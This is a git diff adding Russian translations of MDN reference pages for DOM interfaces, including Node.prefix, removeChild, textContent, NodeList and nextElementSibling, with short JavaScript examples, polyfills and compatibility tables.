+<h2 id="See_also" name="See_also">См. также</h2>
+
+<ul>
+ <li>{{Domxref("Node.firstChild")}}</li>
+ <li>{{Domxref("Node.lastChild")}}</li>
+ <li>{{Domxref("Node.childNodes")}}</li>
+ <li>{{Domxref("Node.nextSibling")}}</li>
+ <li>{{Domxref("Node.previousSibling")}}</li>
+ <li>{{Domxref("Node.removeChild")}}</li>
+</ul>
diff --git a/files/ru/web/api/node/prefix/index.html b/files/ru/web/api/node/prefix/index.html
new file mode 100644
index 0000000000..f0db5aa76f
--- /dev/null
+++ b/files/ru/web/api/node/prefix/index.html
@@ -0,0 +1,90 @@
+---
+title: Node.prefix
+slug: Web/API/Node/prefix
+translation_of: Web/API/Node/prefix
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+</div>
+
+<p>Свойство <code><strong>Node.prefix</strong></code> только для чтения, возвращающее префикс пространства имен указанного узла или <code>null,</code> если не указан префикс. Это свойство только для чтения.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>string</var> = element.prefix
+</pre>
+
+<h2 id="Examples" name="Examples">Пример</h2>
+
+<p>Следующее выражение выведет "x".</p>
+
+<pre class="brush:xml">&lt;x:div onclick="alert(this.prefix)"/&gt;
+</pre>
+
+<h2 id="Notes" name="Notes">Примечание</h2>
+
+<p>Это будет работать только когда используется соответствующий парсер пространства имен. т.е. когда документ обработан как XML mime-type. Это не будет роботать для документов HTML.</p>
+
+<h2 id="Specification" name="Specification">Спицификация</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-NodeNSPrefix">Node.prefix</a> (введено в употребление в DOM2)</li>
+</ul>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>
+    <p>{{CompatVersionUnknown}}</p>
+
+    <p>До Gecko 5.0 {{geckoRelease("5.0")}}, это свойство было для чтения-записи; Специфифкация говорит что должно быть, толко для чтения и теперь это так.</p>
+   </td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>
+    <p>{{CompatVersionUnknown}}</p>
+
+    <p>До Gecko 5.0 {{geckoRelease("5.0")}}, это свойство было для чтения-записи; Спецификация говорит, что должно быть только для чтения и теперь это так.</p>
+   </td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/api/node/previoussibling/index.html b/files/ru/web/api/node/previoussibling/index.html
new file mode 100644
index 0000000000..7da55e04c3
--- /dev/null
+++ b/files/ru/web/api/node/previoussibling/index.html
@@ -0,0 +1,51 @@
+---
+title: Node.previousSibling
+slug: Web/API/Node/previousSibling
+tags:
+  - API
+  - DOM
+  - Gecko
+  - Property
+  - Свойство
+  - Узел
+  - Узлы
+translation_of: Web/API/Node/previousSibling
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+</div>
+
+<p>Свойство <code><strong>Node.previousSibling</strong></code> используется только для чтения, оно возвращает узел предшедствующий указанному в родительском элементе {{domxref("Node.childNodes", "childNodes")}}, или <code>null</code>,  если указанный узел первый в своём родителе.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>previousNode</var> = <em>node</em>.previousSibling;
+</pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js">// &lt;a&gt;&lt;b1 id="b1"/&gt;&lt;b2 id="b2"/&gt;&lt;/a&gt;
+
+alert(document.getElementById("b1").previousSibling); // null
+alert(document.getElementById("b2").previousSibling.id); // "b1"
+</pre>
+
+<h2 id="Notes" name="Notes">Примечание</h2>
+
+<div><p>Браузеры, основанные на Gecko, вставляют текстовые узлы в документ для представления пробелов в разметке.
+    Поэтому узел, полученный, например, при использовании <a href="/ru/docs/Web/API/Node/firstChild" title="Свойство Node.firstChild только для чтения, возвращающее первый потомок узла в древе или null, если узел является бездетным. Если узел это документ, он возвращает первый узел в списке своих прямых детей."><code>Node.firstChild</code></a> или <a href="/ru/docs/Web/API/Node/previousSibling" title="Свойство Node.previousSibling используется только для чтения, оно возвращает узел предшедствующий указанному в родительском элементе childNodes, или null,  если указанный узел первый в своём родителе."><code>Node.previousSibling</code></a> может относиться к
+    пробелу, а не к тому элементу, который автор хотел получить.</p>
+
+    <p>Смотрите <a class="new" href="/ru/docs/Web/Guide/DOM/Whitespace_in_the_DOM" rel="nofollow">Пробел в DOM</a> и
+    <a class="external" href="http://www.w3.org/DOM/faq.html#emptytext" rel="noopener">W3C DOM 3 FAQ: Почему некоторые текстовые узлы пустые?</a>
+    для дополнительной информации.</p></div>
+
+<p>Для навигации через список дочерних узлов в обратном порядке используйте <a href="/en-US/docs/Web/API/Node.nextSibling" title="DOM/Node.nextSibling">Node.nextSibling</a>.</p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#attribute-previousSibling">DOM Level 1 Core: previousSibling</a></li>
+ <li><a href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-640FB3C8">DOM Level 2 Core: previousSibling</a></li>
+ <li><a href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#ID-640FB3C8">DOM Level 3 Core: previousSibling</a></li>
+</ul>
diff --git a/files/ru/web/api/node/removechild/index.html b/files/ru/web/api/node/removechild/index.html
new file mode 100644
index 0000000000..738dadbaa6
--- /dev/null
+++ b/files/ru/web/api/node/removechild/index.html
@@ -0,0 +1,76 @@
+---
+title: Node.removeChild
+slug: Web/API/Node/removeChild
+tags:
+  - API
+  - DOM
+  - DOM Element Methods
+  - Method
+translation_of: Web/API/Node/removeChild
+---
+<div>{{ApiRef}}</div>
+
+<h2 id="Summary" name="Summary">Аннотация</h2>
+
+<p>Удаляет дочерний элемент из DOM. Возвращает удаленный элемент.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>var oldChild</em> = <em>element</em>.removeChild(<em>child</em>);
+<em>element</em>.removeChild(<em>child</em>);
+</pre>
+
+<ul>
+ <li><code>child</code> дочерний элемент который будет удален из DOM.</li>
+ <li><code>element</code> родительский элемент удаляемого <code>child</code>.</li>
+ <li><code>oldChild</code> ссылка на удаляемый дочерний элемент. <code>oldChild</code> === <code>child</code>.</li>
+</ul>
+
+<p>Удаленный дочерний элемент остается в памяти, но больше не является частью DOM. Вы можете повторно использовать удаленный элемент с помощью ссылки на объект - <code>oldChild</code>.</p>
+
+<p>Если <code>child</code> не является дочерним элементом <code>element</code>, тогда метод генерирует исключение. Также это происходит если <code>child</code> является дочерним элементом <code>element</code> во время вызова метода, но был удален во время вызова обработчика событий удаляющего элемент(т.e при удалении элемента непосредственно перед вызовом обработчика событий).</p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre>&lt;!-- Пример --&gt;
+
+&lt;div id="top" align="center"&gt;
+  &lt;div id="nested"&gt;&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush:js">// <em>Удаление элемента с известным родителем</em>
+var d = document.getElementById("top");
+var d_nested = document.getElementById("nested");
+var throwawayNode = d.removeChild(d_nested);
+</pre>
+
+<pre class="brush:js">// Удаление элемента без указания его родителя
+var node = document.getElementById("nested");
+if (node.parentNode) {
+  node.parentNode.removeChild(node);
+}
+</pre>
+
+<pre class="brush:js">// Удаление всех дочерних элементов
+var element = document.getElementById("top");
+while (element.firstChild) {
+  element.removeChild(element.firstChild);
+}
+</pre>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#method-removeChild">DOM Level 1 Core: removeChild</a></li>
+ <li><a href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-1734834066">DOM Level 2 Core: removeChild</a></li>
+ <li><a href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#ID-1734834066">DOM Level 3 Core: removeChild</a></li>
+</ul>
+
+<h2 id="See_also" name="See_also">См. также</h2>
+
+<ul>
+ <li>{{domxref("Node.replaceChild")}}</li>
+ <li>{{domxref("Node.parentNode")}}</li>
+ <li>{{domxref("ChildNode.remove")}}</li>
+</ul>
diff --git a/files/ru/web/api/node/textcontent/index.html b/files/ru/web/api/node/textcontent/index.html
new file mode 100644
index 0000000000..479fae01e3
--- /dev/null
+++ b/files/ru/web/api/node/textcontent/index.html
@@ -0,0 +1,123 @@
+---
+title: Node.textContent
+slug: Web/API/Node/textContent
+tags:
+  - API
+  - Command API
+  - DOM
+  - Node
+  - Property
+  - Reference
+translation_of: Web/API/Node/textContent
+---
+<p>{{ApiRef}}</p>
+
+<h2 id="Summary" name="Summary">Аннотация</h2>
+
+<p>Позволяет задавать или получать текстовое содержимое элемента и его потомков.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>text</em> = element.textContent;
+element.textContent = "Это просто текст";
+</pre>
+
+<h2 id="Notes" name="Notes">Описание</h2>
+
+<ul>
+ <li><code>textContent</code> возвращает <code>null,</code> <em> </em>если узел является <a href="/en-US/docs/DOM/document" title="DOM/Document">документом</a>, типом документа, или его описанием<em>.</em> Для получения <em>всего</em> текста и CDATA-данных во всём документе можно использовать <code> <a href="/en-US/docs/DOM/document.documentElement" title="DOM/document.documentElement">document.documentElement</a>.textContent</code>.</li>
+ <li>Если узел является CDATA, комментарием, инструкцией, или текстовым элементом, <code>textContent</code> возвращает текст внутри узла в виде строки (т.н. <a href="/en-US/docs/DOM/Node.nodeValue" title="DOM/Node/NodeValue/Node.nodeValue">nodeValue</a>).</li>
+ <li>Для узлов других типов <code>textContent</code> возвращает конкатенацию свойств <code>textContent</code> всех дочерних узлов, исключая комментарии и строки кода. Если узел не имеет дочерних узлов, будет возвращена пустая строка.</li>
+ <li>Установка данного значения удаляет все дочерние узлы и заменяет их единичным текстовым узлом с указанным значением.</li>
+</ul>
+
+<h3 id="Отличие_от_innerText">Отличие от <code>innerText</code></h3>
+
+<p><code>element.innerText</code> был введен Internet Explorer-ом. Работает по тому же принципу за небольшими исключениями:</p>
+
+<ul>
+ <li><code>textContent</code> получает содержимое <em>всех</em> элементов, включая  {{HTMLElement("script")}} и {{HTMLElement("style")}}, тогда как <code>innerText</code> этого не делает.</li>
+ <li><code>innerText</code> умеет считывать стили и не возвращает содержимое скрытых элементов, тогда как <code>textContent</code> этого не делает.</li>
+ <li>Метод <code>innerText</code> позволяет получить CSS, а <code>textContent</code> — нет.</li>
+</ul>
+
+<h3 id="Отличие_от_innerHTML">Отличие от <code>innerHTML</code></h3>
+
+<p><code>innerHTML</code>, как можно понять из его названия, возвращает HTML. Довольно часто <code>innerHTML</code> используется для получения или записи текста в элемент. Тем не менее, вместо него желательно использовать <code>textContent</code>: этот метод потребляет гораздо меньше ресурсов, так как текст парсится как текст, а не HTML. Кроме того, это защищает от <span title="cross-site scripting">XSS</span> атак.</p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush: js">// Дан следующий фрагмент:
+//   &lt;div id="block"&gt;Это — &lt;span&gt;просто&lt;/span&gt; текст&lt;/div&gt;
+
+// Достаем текстовое содержимое:
+var text = document.getElementById("block").textContent;
+// В переменной |text| находится: "Это — просто текст".
+
+// Меняем текст:
+document.getElementById("block").textContent = "Это — просто текст";
+// Теперь наш фрагмент выглядит так:
+//   &lt;div id="block"&gt;Это — просто текст&lt;/div&gt;
+</pre>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1+</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>9</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/2004/REC-DOM-Level-3-Core-20040407/core.html#Node3-textContent">textContent</a></li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="http://perfectionkills.com/the-poor-misunderstood-innerText/">Подробнее о различиях <code>innerText</code> и <code>textContent</code></a> (пост в блоге)</li>
+</ul>
diff --git a/files/ru/web/api/nodelist/index.html b/files/ru/web/api/nodelist/index.html
new file mode 100644
index 0000000000..3deb328f99
--- /dev/null
+++ b/files/ru/web/api/nodelist/index.html
@@ -0,0 +1,144 @@
+---
+title: NodeList
+slug: Web/API/NodeList
+tags:
+  - API
+  - DOM
+  - Interface
+  - NodeList
+translation_of: Web/API/NodeList
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Объект <strong>NodeList </strong>— это коллекция узлов, возвращаемая такими методами, как {{domxref("Node.childNodes")}} и {{domxref("document.querySelectorAll")}}.</p>
+
+<div class="note">
+<p>Несмотря на то, что <code>NodeList</code> не является массивом ( <code>Array</code> ), его вполне возможно перебрать при помощи метода forEach(). NodeList также можно конвертировать в <code>Array</code> при помощи {{jsxref("Array.from()")}}</p>
+
+<p>Однако некоторые старые браузеры на данный момент все еще не поддерживают <code>NodeList.forEach()</code> или <code>Array.from()</code>. Данные ограничения можно обойти, используя {{jsxref("Array.forEach()", "Array.prototype.forEach()")}} ( больше информации на этой странице ).</p>
+</div>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt><code>length</code></dt>
+ <dd>Количество элементов в NodeList.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt><code><a href="/en-US/docs/DOM/NodeList.item" title="DOM/NodeList.item">item</a> ( idx )</code></dt>
+ <dd>Возвращает элемент из списка по его индексу или <code>null</code>, если индекс выходит за границы допустимого диапазона. Может быть использован как альтернатива <code>nodeList[idx]</code>, возвращающему <code>undefined</code> при недопустимом <code>idx.</code></dd>
+ <dt><code>entries()</code></dt>
+ <dd>Возвращает {{jsxref("Iteration_protocols","iterator")}}, позволяя перебрать все пары ключ/значение, содержащиеся в обьекте.</dd>
+ <dt><code>forEach()</code></dt>
+ <dd>Выполняет указанную функцию один раз для каждого элемента <code>NodeList</code></dd>
+ <dt><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">keys()</span></font></dt>
+ <dd>Возвращает {{jsxref("Iteration_protocols","iterator")}}, позволяя перебрать все ключи каждой пары ключ/значение, содержащейся в обьекте.</dd>
+ <dt><code>values()</code></dt>
+ <dd>Возвращает {{jsxref("Iteration_protocols","iterator")}}, позволяя перебрать все значения каждой пары ключ/значение, содержащейся в обьекте.</dd>
+ <dt> </dt>
+</dl>
+
+<h2 id="Описание">Описание</h2>
+
+<h3 id="Динамическая_коллекция">Динамическая коллекция</h3>
+
+<p>В определённых случаях <code>NodeList</code> может являться <em>динамической коллекцией</em>. Это означает, что любые изменения в DOM тут же отражаются на коллекции. Примером подобной коллекции является {{domxref("Node.childNodes")}}:</p>
+
+<pre class="brush: js">var parent = document.getElementById('parent');
+var child_nodes = parent.childNodes;
+console.log(child_nodes.length); // пусть равно "2"
+parent.appendChild(document.createElement('div'));
+console.log(child_nodes.length); // выведет "3"
+</pre>
+
+<p>В других случаях <code>NodeList</code> является <em>статической коллекцией</em>. Это означает, что любые изменения в DOM не отражаются на его содержании. К примеру, {{domxref("document.querySelectorAll")}} возвращает статический <code>NodeList</code>.</p>
+
+<p>Данное деление необходимо иметь в виду при выборе способа обхода элементов <code>NodeList</code>, а также сохранении длины списка в переменную.</p>
+
+<h3 id="Отличия_NodeList_от_Array">Отличия <code>NodeList</code> от <code>Array</code></h3>
+
+<p><code>NodeList</code> используется подобно массивам, и потому может возникнуть закономерное желание использовать в нём методы, предоставляемые <code>Array.prototype</code>. Однако <code>NodeList</code> не реализует методы, подобные таковым у <code>Array</code>.</p>
+
+<p>В JavaScript существует механизм наследования, основанный на прототипах, применяемый как к встроенным («native») (таким как <code>Array</code>), так и «host»-объектам, предоставляемым средой исполнения (таким как <code>NodeList</code>) . Экземпляры класса <code>Array</code> получают свои методы (к примеру, <code>forEach </code>и <code>map</code>) из следующей цепочки наследования:</p>
+
+<p><code>myArray --&gt; Array.prototype --&gt; Object.prototype --&gt; null</code> (Цепочка прототипов объекта может быть получена рекурсивным вызовом <span style="font-family: consolas,monaco,andale mono,monospace;">Object.getPrototypeOf</span>)</p>
+
+<p><code>forEach</code>, <code>map</code>, ровно как и все остальные свойства принадлежат <code>Array.prototype</code>.</p>
+
+<p>Цепочка же прототипов <code>NodeList</code> выглядит следующим образом:</p>
+
+<p><code>myNodeList --&gt; NodeList.prototype --&gt; Object.prototype --&gt; null</code></p>
+
+<p><code>NodeList.prototype</code> содержит метод <code>item</code>, но никак не остальные методы <code>Array.prototype</code>, поэтому они и не могут быть использованы с <code>NodeLists</code>.</p>
+
+<h4 id="Обходные_пути">Обходные пути</h4>
+
+<p>Один из способов решения данной проблемы — это копирование методов из <code>Array.prototype<font face="Open Sans, sans-serif"> в </font></code><code>NodeList.prototype</code>. Однако необходимо отдавать себе отчёт в том, что <a href="http://perfectionkills.com/whats-wrong-with-extending-the-dom/">расширение объектов DOM опасно, особенно в старых версиях Internet Explorer (6, 7, 8)</a>.</p>
+
+<pre class="brush: js">var arrayMethods = Object.getOwnPropertyNames( Array.prototype );
+
+arrayMethods.forEach( attachArrayMethodsToNodeList );
+
+function attachArrayMethodsToNodeList(methodName)
+{
+  if(methodName !== "length") {
+    NodeList.prototype[methodName] = Array.prototype[methodName];
+  }
+};
+
+var divs = document.getElementsByTagName( 'div' );
+var firstDiv = divs[ 0 ];
+
+firstDiv.childNodes.forEach(function( divChild ){
+  divChild.parentNode.style.color = '#0F0';
+});</pre>
+
+<p>Другой подход — расширение непосредственно объектов DOM:</p>
+
+<pre class="brush: js">var forEach = Array.prototype.forEach;
+
+var divs = document.getElementsByTagName( 'div' );
+var firstDiv = divs[ 0 ];
+
+forEach.call(firstDiv.childNodes, function( divChild ){
+  divChild.parentNode.style.color = '#0F0';
+});
+</pre>
+
+<div class="note">
+<p>Стоит отметить, что передача объектов среды (такого как <code>NodeList</code>) через <code>this</code> native-методу (такому как <code>forEach</code>) гарантированно работает не во всех браузерах и точно не работает в некоторых.</p>
+</div>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Элементы в <code>NodeList</code>, можно обработать следующим образом:</p>
+
+<pre class="brush: js">for (var i = 0; i &lt; myNodeList.length; ++i) {
+  var item = myNodeList[i];  // Вызов myNodeList.item(i) необязателен в JavaScript
+}
+</pre>
+
+<p>Не следует использовать конструкции <code><a href="/en-US/docs/JavaScript/Reference/Statements/for...in" title="JavaScript/ Reference/Statements/for...in">for...in</a></code> или <code><a href="/en-US/docs/JavaScript/Reference/Statements/for_each...in" title="JavaScript/ Reference/Statements/for each...in">for each...in</a></code> для перечисления элементов списка. Эти способы также перечислят и свойства <code>length</code> и <code>item</code>, что приведёт к логическим ошибкам в случае, если скрипт ожидает  только объекты {{domxref("node")}}. Также <code>for..in</code> может перечислять свойства в любом порядке.</p>
+
+<p>Циклы <code><a href="/en-US/docs/JavaScript/Reference/Statements/for...of" title="/en-US/docs/JavaScript/Reference/Statements/for...of">for...of</a></code> корректно перечисляют все объекты внутри <code>NodeList</code> в браузерах, в которых поддерживается <code>for...of </code>(например, Firefox 13 или выше):</p>
+
+<pre class="brush: js">var list = document.querySelectorAll( 'input[type=checkbox]' );
+for (var item of list) {
+  item.checked = true;
+}</pre>
+
+<h2 id="Конвертирование_NodeList_в_Array">Конвертирование <code>NodeList</code> в <code>Array</code></h2>
+
+<p>Иногда удобнее работать с содержимым <code>NodeList</code>, используя методы <code>Array</code>. Ниже приведена техника преобразования <code>NodeList</code> к <code>Array</code>:</p>
+
+<pre class="brush: js">var div_list = document.querySelectorAll('div'); // returns NodeList
+var div_array = Array.prototype.slice.call(div_list); // преобразует NodeList в Array</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#ID-536297177" title="http://www.w3.org/TR/DOM-Level-3-Core/core.html#ID-536297177">DOM Level 3</a></li>
+</ul>
diff --git a/files/ru/web/api/nondocumenttypechildnode/index.html b/files/ru/web/api/nondocumenttypechildnode/index.html
new file mode 100644
index 0000000000..20f5c6ea40
--- /dev/null
+++ b/files/ru/web/api/nondocumenttypechildnode/index.html
@@ -0,0 +1,132 @@
+---
+title: NonDocumentTypeChildNode
+slug: Web/API/NonDocumentTypeChildNode
+tags:
+  - API
+  - DOM
+  - Interface
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+translation_of: Web/API/NonDocumentTypeChildNode
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>The <code><strong>NonDocumentTypeChildNode</strong></code> interface contains methods that are particular to {{domxref("Node")}} objects that can have a parent, but not suitable for {{domxref("DocumentType")}}.</p>
+
+<p><code>NonDocumentTypeChildNode</code> is a raw interface and no object of this type can be created; it is implemented by {{domxref("Element")}}, and {{domxref("CharacterData")}} objects.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>There is no inherited property.</em></p>
+
+<dl>
+ <dt>{{domxref("NonDocumentTypeChildNode.previousElementSibling")}} {{readonlyInline}}</dt>
+ <dd>Returns the {{domxref("Element")}} immediately prior to this node in its parent's children list, or <code>null</code> if there is no {{domxref("Element")}} in the list prior to this node.</dd>
+ <dt>{{domxref("NonDocumentTypeChildNode.nextElementSibling")}} {{readonlyInline}}</dt>
+ <dd>Returns the {{domxref("Element")}} immediately following this node in its parent's children list, or <code>null</code> if there is no {{domxref("Element")}} in the list following this node.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>There is neither inherited, nor specific method.</em></p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-childnode', 'NonDocumentTypeChildNode')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Splitted the <code>ElementTraversal</code> interface in {{domxref("ParentNode")}}, {{domxref("ChildNode")}}, and <code>NonDocumentTypeChildNode</code>. The <code>previousElementSibling</code> and <code>nextElementSibling</code> are now defined on the latter.<br>
+    The {{domxref("CharacterData")}} and {{domxref("Element")}} implemented the new interfaces.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Element Traversal', '#interface-elementTraversal', 'ElementTraversal')}}</td>
+   <td>{{Spec2('Element Traversal')}}</td>
+   <td>Added the initial definition of its properties to the <code>ElementTraversal</code> pure interface and use it on {{domxref("Element")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support (on {{domxref("Element")}})</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9.0</td>
+   <td>10.0</td>
+   <td>4.0</td>
+  </tr>
+  <tr>
+   <td>Support (on {{domxref("CharacterData")}})</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("25.0")}} [1]</td>
+   <td>9.0</td>
+   <td>10.0</td>
+   <td>4.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support (on {{domxref("Element")}})</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>10.0</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>Support (on {{domxref("CharacterData")}})</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{CompatGeckoDesktop("25.0")}}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>10.0</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Firefox 25 also added the two properties defined here on {{domxref("DocumentType")}}, this was removed in Firefox 28 due to compatibility problems, and led to the creation of this new pure interface.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The {{domxref("ParentNode")}} and {{domxref("ChildNode")}} pure interface.</li>
+ <li>
+  <div class="syntaxbox">Object types implementing this pure interface: {{domxref("CharacterData")}}, and {{domxref("Element")}}.</div>
+ </li>
+</ul>
diff --git a/files/ru/web/api/nondocumenttypechildnode/nondocumenttypechildnode.nextelementsibling/index.html b/files/ru/web/api/nondocumenttypechildnode/nondocumenttypechildnode.nextelementsibling/index.html
new file mode 100644
index 0000000000..84c40445d8
--- /dev/null
+++ b/files/ru/web/api/nondocumenttypechildnode/nondocumenttypechildnode.nextelementsibling/index.html
@@ -0,0 +1,173 @@
+---
+title: NonDocumentTypeChildNode.nextElementSibling
+slug: Web/API/NonDocumentTypeChildNode/NonDocumentTypeChildNode.nextElementSibling
+translation_of: Web/API/NonDocumentTypeChildNode/nextElementSibling
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><code><strong>NonDocumentTypeChildNode.nextElementSibling</strong></code> свойство только для чтения, возвращающее последующий элемент перед текущим, или <code>null</code>, если элемент является последним в своём родительском узле.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>nextNode</em> = elementNodeReference.nextElementSibling; </pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush: html">&lt;div id="div-01"&gt;Это div-01&lt;/div&gt;
+&lt;div id="div-02"&gt;Это div-02&lt;/div&gt;
+
+&lt;script type="text/javascript"&gt;
+  var el = document.getElementById('div-01').nextElementSibling;
+  console.log('Сосед div-01:');
+  while (el) {
+    console.log(el.nodeName);
+    el = el.nextElementSibling;
+  }
+&lt;/script&gt;
+</pre>
+
+<p>Этот пример выведет в консоль следующее:</p>
+
+<pre>Сосед div-01:
+DIV
+SCRIPT</pre>
+
+<h2 id="Полифилл_для_IE8">Полифилл для IE8</h2>
+
+<p>Данное свойство не пожддерживается до IE9. Используйте следующий полифилл, чтобы обойти этот недостаток:</p>
+
+<pre class="brush: js">// Источник: https://github.com/Alhadis/Snippets/blob/master/js/polyfills/IE8-child-elements.js
+if (!('nextElementSibling' in document.documentElement)) {
+    Object.defineProperty(Element.prototype, 'nextElementSibling', {
+        get: function() {
+            var e = this.nextSibling;
+            while (e &amp;&amp; 1 !== e.nodeType) {
+                e = e.nextSibling;
+            }
+            return e;
+        }
+    });
+}</pre>
+
+<h2 id="Полифилл_для_IE9_и_Safari">Полифилл для IE9+ и Safari</h2>
+
+<pre class="brush: js">// Источник: https://github.com/jserz/js_piece/blob/master/DOM/NonDocumentTypeChildNode/nextElementSibling/nextElementSibling.md
+(function(arr) {
+    arr.forEach(function(item) {
+        if (item.hasOwnProperty('nextElementSibling')) {
+            return;
+        }
+        Object.defineProperty(item, 'nextElementSibling', {
+            configurable: true,
+            enumerable: true,
+            get: function() {
+                var el = this;
+                while (el = el.nextSibling) {
+                    if (el.nodeType === 1) {
+                        return el;
+                    }
+                }
+                return null;
+            },
+            set: undefined
+        });
+    });
+})([Element.prototype, CharacterData.prototype]);</pre>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
